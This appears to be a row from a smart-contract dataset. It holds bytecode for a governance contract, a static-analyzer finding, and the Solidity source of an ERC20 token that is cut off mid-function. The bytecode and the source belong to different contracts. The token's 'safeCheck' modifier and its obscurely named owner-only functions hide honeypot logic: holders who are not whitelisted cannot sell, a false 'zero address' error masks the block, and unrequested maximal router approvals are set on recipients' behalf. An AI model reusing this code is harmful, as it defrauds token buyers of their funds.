5ebd5e08160000151338c8c8c8c89898e604051611691999897969594939291906141cd565b60405180910390a1806000015194505050505095945050505050565b600460078111156116ba57fe5b6116c382610970565b60078111156116ce57fe5b1461170e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170590613f77565b60405180910390fd5b600060016000838152602001908152602001600020905060006117c242731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff16636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b15801561178557600080fd5b505afa158015611799573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506117bd9190810190612cd8565b612001565b905060008090505b82600301805490508110156119a75761199a8360030182815481106117eb57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684600401838154811061182557fe5b906000526020600020015485600501848154811061183f57fe5b906000526020600020018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118dd5780601f106118b2576101008083540402835291602001916118dd565b820191906000526020600020905b8154815290600101906020018083116118c057829003601f168201915b50505050508660060185815481106118f157fe5b906000526020600020018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561198f5780601f106119645761010080835404028352916020019161198f565b820191906000526020600020905b81548152906001019060200180831161197257829003601f168201915b5050505050866120b3565b80806001019150506117ca565b508082600201819055507f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289283826040516119e292919061430a565b60405180910390a1505050565b6040516119fb90613c59565b604051809103902081565b611a0e612486565b60016000848152602001908152602001600020600c0160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff161515151581526020016000820160029054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905092915050565b731f9840a85d5af5bf1d1762f925bdaddc4201f98481565b60056007811115611b0d57fe5b611b1682610970565b6007811115611b2157fe5b14611b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5890613f97565b60405180910390fd5b6000600160008381526020019081526020016000209050600181600b0160016101000a81548160ff02191690831515021790555060008090505b8160030180549050811015611d0457731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff16630825f38f836004018381548110611be957fe5b9060005260206000200154846003018481548110611c0357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856004018581548110611c3d57fe5b9060005260206000200154866005018681548110611c5757fe5b90600052602060002001876006018781548110611c7057fe5b9060005260206000200188600201546040518763ffffffff1660e01b8152600401611c9f959493929190613d66565b6000604051808303818588803b158015611cb857600080fd5b505af1158015611ccc573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250611cf69190810190612c6e565b508080600101915050611b9b565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611d3491906141b2565b60405180910390a15050565b60016007811115611d4d57fe5b611d5683610970565b6007811115611d6157fe5b14611da1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9890614157565b60405180910390fd5b6000600160008481526020019081526020016000209050600081600c0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600015158160000160009054906101000a900460ff16151514611e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4c90613fd7565b60405180910390fd5b6000731f9840a85d5af5bf1d1762f925bdaddc4201f98473ffffffffffffffffffffffffffffffffffffffff1663782d6fe18785600701546040518363ffffffff1660e01b8152600401611eaa929190613c97565b60206040518083038186803b158015611ec257600080fd5b505afa158015611ed6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611efa9190810190612df0565b90508315611f2b57611f1e8360090154826bffffffffffffffffffffffff16612001565b8360090181905550611f50565b611f4783600a0154826bffffffffffffffffffffffff16612001565b83600a01819055505b60018260000160006101000a81548160ff021916908315150217905550838260000160016101000a81548160ff021916908315150217905550808260000160026101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055507f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4686868684604051611ff19493929190613cc0565b60405180910390a1505050505050565b60008082840190508381101561204c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204390614037565b60405180910390fd5b8091505092915050565b60008282111561209b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209290614177565b60405180910390fd5b818303905092915050565b6000804690508091505090565b731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff1663f2b0653786868686866040516020016120fc959493929190613d05565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b815260040161212e9190613e28565b60206040518083038186803b15801561214657600080fd5b505afa15801561215a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061217e9190810190612c1c565b156121be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b590614097565b60405180910390fd5b731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff16633a66f90186868686866040518663ffffffff1660e01b8152600401612213959493929190613d05565b602060405180830381600087803b15801561222d57600080fd5b505af1158015612241573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506122659190810190612c45565b505050505050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215612368579160200282015b828111156123675782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019061230f565b5b50905061237591906124b9565b5090565b8280548282559060005260206000209081019282156123b5579160200282015b828111156123b4578251825591602001919060010190612399565b5b5090506123c291906124fc565b5090565b828054828255906000526020600020908101928215612415579160200282015b82811115612414578251829080519060200190612404929190612521565b50916020019190600101906123e6565b5b50905061242291906125a1565b5090565b828054828255906000526020600020908101928215612475579160200282015b828111156124745782518290805190602001906124649291906125cd565b5091602001919060010190612446565b5b509050612482919061264d565b5090565b604051806060016040528060001515815260200160001515815260200160006bffffffffffffffffffffffff1681525090565b6124f991905b808211156124f557600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055506001016124bf565b5090565b90565b61251e91905b8082111561251a576000816000905550600101612502565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061256257805160ff1916838001178555612590565b82800160010185558215612590579182015b8281111561258f578251825591602001919060010190612574565b5b50905061259d91906124fc565b5090565b6125ca91905b808211156125c657600081816125bd9190612679565b506001016125a7565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061260e57805160ff191683800117855561263c565b8280016001018555821561263c579182015b8281111561263b578251825591602001919060010190612620565b5b50905061264991906124fc565b5090565b61267691905b80821115612672576000818161266991906126c1565b50600101612653565b5090565b90565b50805460018160011615610100020316600290046000825580601f1061269f57506126be565b601f0160209004906000526020600020908101906126bd91906124fc565b5b50565b50805460018160011615610100020316600290046000825580601f106126e75750612706565b601f01602090049060005260206000209081019061270591906124fc565b5b50565b600081359050612718816147cf565b92915050565b600082601f83011261272f57600080fd5b813561274261273d82614360565b614333565b9150818183526020840193506020810190508385602084028201111561276757600080fd5b60005b83811015612797578161277d8882612709565b84526020840193506020830192505060018101905061276a565b5050505092915050565b600082601f8301126127b257600080fd5b81356127c56127c082614388565b614333565b9150818183526020840193506020810190508360005b8381101561280b57813586016127f18882612960565b8452602084019350602083019250506001810190506127db565b5050505092915050565b600082601f83011261282657600080fd5b8135612839612834826143b0565b614333565b9150818183526020840193506020810190508360005b8381101561287f57813586016128658882612a08565b84526020840193506020830192505060018101905061284f565b5050505092915050565b600082601f83011261289a57600080fd5b81356128ad6128a8826143d8565b614333565b915081818352602084019350602081019050838560208402820111156128d257600080fd5b60005b8381101561290257816128e88882612ab0565b8452602084019350602083019250506001810190506128d5565b5050505092915050565b60008135905061291b816147e6565b92915050565b600081519050612930816147e6565b92915050565b600081359050612945816147fd565b92915050565b60008151905061295a816147fd565b92915050565b600082601f83011261297157600080fd5b813561298461297f82614400565b614333565b915080825260208301602083018583830111156129a057600080fd5b6129ab838284614765565b50505092915050565b600082601f8301126129c557600080fd5b81516129d86129d38261442c565b614333565b915080825260208301602083018583830111156129f457600080fd5b6129ff838284614774565b50505092915050565b600082601f830112612a1957600080fd5b8135612a2c612a2782614458565b614333565b91508082526020830160208301858383011115612a4857600080fd5b612a53838284614765565b50505092915050565b600082601f830112612a6d57600080fd5b8135612a80612a7b82614484565b614333565b91508082526020830160208301858383011115612a9c57600080fd5b612aa7838284614765565b50505092915050565b600081359050612abf81614814565b92915050565b600081519050612ad481614814565b92915050565b600081359050612ae98161482b565b92915050565b600081519050612afe81614842565b92915050565b600060208284031215612b1657600080fd5b6000612b2484828501612709565b91505092915050565b600080600080600060a08688031215612b4557600080fd5b600086013567ffffffffffffffff811115612b5f57600080fd5b612b6b8882890161271e565b955050602086013567ffffffffffffffff811115612b8857600080fd5b612b9488828901612889565b945050604086013567ffffffffffffffff811115612bb157600080fd5b612bbd88828901612815565b935050606086013567ffffffffffffffff811115612bda57600080fd5b612be6888289016127a1565b925050608086013567ffffffffffffffff811115612c0357600080fd5b612c0f88828901612a5c565b9150509295509295909350565b600060208284031215612c2e57600080fd5b6000612c3c84828501612921565b91505092915050565b600060208284031215612c5757600080fd5b6000612c658482850161294b565b91505092915050565b600060208284031215612c8057600080fd5b600082015167ffffffffffffffff811115612c9a57600080fd5b612ca6848285016129b4565b91505092915050565b600060208284031215612cc157600080fd5b6000612ccf84828501612ab0565b91505092915050565b600060208284031215612cea57600080fd5b6000612cf884828501612ac5565b91505092915050565b60008060408385031215612d1457600080fd5b6000612d2285828601612ab0565b9250506020612d3385828601612709565b9150509250929050565b60008060408385031215612d5057600080fd5b6000612d5e85828601612ab0565b9250506020612d6f8582860161290c565b9150509250929050565b600080600080600060a08688031215612d9157600080fd5b6000612d9f88828901612ab0565b9550506020612db08882890161290c565b9450506040612dc188828901612ada565b9350506060612dd288828901612936565b9250506080612de388828901612936565b9150509295509295909350565b600060208284031215612e0257600080fd5b6000612e1084828501612aef565b91505092915050565b6000612e258383612e80565b60208301905092915050565b6000612e3d83836130c1565b905092915050565b6000612e5183836131ef565b905092915050565b6000612e658383613bc2565b60208301905092915050565b612e7a816146c3565b82525050565b612e8981614639565b82525050565b612e9881614639565b82525050565b6000612ea98261451a565b612eb381856145a6565b9350612ebe836144b0565b8060005b83811015612eef578151612ed68882612e19565b9750612ee183614572565b925050600181019050612ec2565b5085935050505092915050565b6000612f0782614525565b612f1181856145b7565b935083602082028501612f23856144c0565b8060005b85811015612f5f5784840389528151612f408582612e31565b9450612f4b8361457f565b925060208a01995050600181019050612f27565b50829750879550505050505092915050565b6000612f7c82614530565b612f8681856145c8565b935083602082028501612f98856144d0565b8060005b85811015612fd45784840389528151612fb58582612e45565b9450612fc08361458c565b925060208a01995050600181019050612f9c565b50829750879550505050505092915050565b6000612ff18261453b565b612ffb81856145d9565b9350613006836144e0565b8060005b8381101561303757815161301e8882612e59565b975061302983614599565b92505060018101905061300a565b5085935050505092915050565b61304d8161464b565b82525050565b61305c8161464b565b82525050565b61306b81614657565b82525050565b61308261307d82614657565b6147a7565b82525050565b600061309382614551565b61309d81856145fb565b93506130ad818560208601614774565b6130b6816147b1565b840191505092915050565b60006130cc82614546565b6130d681856145ea565b93506130e6818560208601614774565b6130ef816147b1565b840191505092915050565b600081546001811660008114613117576001811461313d57613181565b607f600283041661312881876145fb565b955060ff198316865260208601935050613181565b6002820461314b81876145fb565b9550613156856144f0565b60005b8281101561317857815481890152600182019150602081019050613159565b80880195505050505b505092915050565b613192816146d5565b82525050565b6131a1816146f9565b82525050565b6131b08161471d565b82525050565b60006131c182614567565b6131cb818561461d565b93506131db818560208601614774565b6131e4816147b1565b840191505092915050565b60006131fa8261455c565b613204818561460c565b9350613214818560208601614774565b61321d816147b1565b840191505092915050565b60006132338261455c565b61323d818561461d565b935061324d818560208601614774565b613256816147b1565b840191505092915050565b60008154600181166000811461327e57600181146132a4576132e8565b607f600283041661328f818761461d565b955060ff1983168652602086019350506132e8565b600282046132b2818761461d565b95506132bd85614505565b60005b828110156132df578154818901526001820191506020810190506132c0565b80880195505050505b505092915050565b60006132fd60448361461d565b91507f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360008301527f616e206f6e6c792062652071756575656420696620697420697320737563636560208301527f65646564000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b600061338960458361461d565b91507f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60008301527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208301527f75657565640000000000000000000000000000000000000000000000000000006040830152606082019050919050565b600061341560028361462e565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b600061345560298361461d565b91507f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707260008301527f6f706f73616c20696400000000000000000000000000000000000000000000006020830152604082019050919050565b60006134bb602d8361461d565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060008301527f616c726561647920766f746564000000000000000000000000000000000000006020830152604082019050919050565b600061352160598361461d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c72656164792070656e64696e672070726f706f73616c000000000000006040830152606082019050919050565b60006135ad60288361461d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960008301527f20616374696f6e730000000000000000000000000000000000000000000000006020830152604082019050919050565b600061361360118361461d565b91507f6164646974696f6e206f766572666c6f770000000000000000000000000000006000830152602082019050919050565b600061365360438361462e565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b60006136df60278361462e565b91507f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207360008301527f7570706f727429000000000000000000000000000000000000000000000000006020830152602782019050919050565b600061374560448361461d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60008301527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208301527f61746368000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006137d1602f8361461d565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060008301527f61626f7665207468726573686f6c6400000000000000000000000000000000006020830152604082019050919050565b600061383760448361461d565b91507f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060008301527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208301527f20657461000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006138c3602c8361461d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60008301527f7669646520616374696f6e7300000000000000000000000000000000000000006020830152604082019050919050565b6000613929603f8361461d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260008301527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c64006020830152604082019050919050565b600061398f602f8361461d565b91507f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60008301527f76616c6964207369676e617475726500000000000000000000000000000000006020830152604082019050919050565b60006139f560588361461d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c7265616479206163746976652070726f706f73616c00000000000000006040830152606082019050919050565b6000613a8160368361461d565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636160008301527f6e63656c2065786563757465642070726f706f73616c000000000000000000006020830152604082019050919050565b6000613ae7602a8361461d565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6760008301527f20697320636c6f736564000000000000000000000000000000000000000000006020830152604082019050919050565b6000613b4d60158361461d565b91507f7375627472616374696f6e20756e646572666c6f7700000000000000000000006000830152602082019050919050565b606082016000820151613b966000850182613044565b506020820151613ba96020850182613044565b506040820151613bbc6040850182613bfe565b50505050565b613bcb81614694565b82525050565b613bda81614694565b82525050565b613be98161469e565b82525050565b613bf881614753565b82525050565b613c07816146ab565b82525050565b6000613c1882613408565b9150613c248285613071565b602082019150613c348284613071565b6020820191508190509392505050565b6000613c4f82613646565b9150819050919050565b6000613c64826136d2565b9150819050919050565b6000604082019050613c836000830185612e71565b613c906020830184613bd1565b9392505050565b6000604082019050613cac6000830185612e8f565b613cb96020830184613bd1565b9392505050565b6000608082019050613cd56000830187612e8f565b613ce26020830186613bd1565b613cef6040830185613053565b613cfc6060830184613bef565b95945050505050565b600060a082019050613d1a6000830188612e8f565b613d276020830187613bd1565b8181036040830152613d3981866131b6565b90508181036060830152613d4d8185613088565b9050613d5c6080830184613bd1565b9695505050505050565b600060a082019050613d7b6000830188612e8f565b613d886020830187613bd1565b8181036040830152613d9a8186613261565b90508181036060830152613dae81856130fa565b9050613dbd6080830184613bd1565b9695505050505050565b60006080820190508181036000830152613de18187612e9e565b90508181036020830152613df58186612fe6565b90508181036040830152613e098185612f71565b90508181036060830152613e1d8184612efc565b905095945050505050565b6000602082019050613e3d6000830184613062565b92915050565b6000608082019050613e586000830187613062565b613e656020830186613062565b613e726040830185613bd1565b613e7f6060830184612e8f565b95945050505050565b6000606082019050613e9d6000830186613062565b613eaa6020830185613bd1565b613eb76040830184613053565b949350505050565b6000608082019050613ed46000830187613062565b613ee16020830186613be0565b613eee6040830185613062565b613efb6060830184613062565b95945050505050565b6000602082019050613f196000830184613189565b92915050565b6000602082019050613f346000830184613198565b92915050565b6000602082019050613f4f60008301846131a7565b92915050565b60006020820190508181036000830152613f6f8184613228565b905092915050565b60006020820190508181036000830152613f90816132f0565b9050919050565b60006020820190508181036000830152613fb08161337c565b9050919050565b60006020820190508181036000830152613fd081613448565b9050919050565b60006020820190508181036000830152613ff0816134ae565b9050919050565b6000602082019050818103600083015261401081613514565b9050919050565b60006020820190508181036000830152614030816135a0565b9050919050565b6000602082019050818103600083015261405081613606565b9050919050565b6000602082019050818103600083015261407081613738565b9050919050565b60006020820190508181036000830152614090816137c4565b9050919050565b600060208201905081810360008301526140b08161382a565b9050919050565b600060208201905081810360008301526140d0816138b6565b9050919050565b600060208201905081810360008301526140f08161391c565b9050919050565b6000602082019050818103600083015261411081613982565b9050919050565b60006020820190508181036000830152614130816139e8565b9050919050565b6000602082019050818103600083015261415081613a74565b9050919050565b6000602082019050818103600083015261417081613ada565b9050919050565b6000602082019050818103600083015261419081613b40565b9050919050565b60006060820190506141ac6000830184613b80565b92915050565b60006020820190506141c76000830184613bd1565b92915050565b6000610120820190506141e3600083018c613bd1565b6141f0602083018b612e71565b8181036040830152614202818a612e9e565b905081810360608301526142168189612fe6565b9050818103608083015261422a8188612f71565b905081810360a083015261423e8187612efc565b905061424d60c0830186613bd1565b61425a60e0830185613bd1565b81810361010083015261426d81846131b6565b90509a9950505050505050505050565b600061012082019050614293600083018c613bd1565b6142a0602083018b612e8f565b6142ad604083018a613bd1565b6142ba6060830189613bd1565b6142c76080830188613bd1565b6142d460a0830187613bd1565b6142e160c0830186613bd1565b6142ee60e0830185613053565b6142fc610100830184613053565b9a9950505050505050505050565b600060408201905061431f6000830185613bd1565b61432c6020830184613bd1565b9392505050565b6000604051905081810181811067ffffffffffffffff8211171561435657600080fd5b8060405250919050565b600067ffffffffffffffff82111561437757600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561439f57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff8211156143c757600080fd5b602082029050602081019050919050565b600067ffffffffffffffff8211156143ef57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561441757600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff82111561444357600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff82111561446f57600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff82111561449b57600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061464482614674565b9050919050565b60008115159050919050565b6000819050919050565b600081905061466f826147c2565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b60006146ce8261472f565b9050919050565b60006146e0826146e7565b9050919050565b60006146f282614674565b9050919050565b60006147048261470b565b9050919050565b600061471682614674565b9050919050565b600061472882614661565b9050919050565b600061473a82614741565b9050919050565b600061474c82614674565b9050919050565b600061475e826146ab565b9050919050565b82818337600083830152505050565b60005b83811015614792578082015181840152602081019050614777565b838111156147a1576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b600881106147cc57fe5b50565b6147d881614639565b81146147e357600080fd5b50565b6147ef8161464b565b81146147fa57600080fd5b50565b61480681614657565b811461481157600080fd5b50565b61481d81614694565b811461482857600080fd5b50565b6148348161469e565b811461483f57600080fd5b50565b61484b816146ab565b811461485657600080fd5b5056fea365627a7a72315820ed6fd15ed7fcacb9205bf820b2ddc80df7b8b26f80098353001f9014051973966c6578706572696d656e74616cf564736f6c63430005110040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,624 |
0x8cafac1fb802a1771e9ac264e3b0dc41558bccc1
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_GNY(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
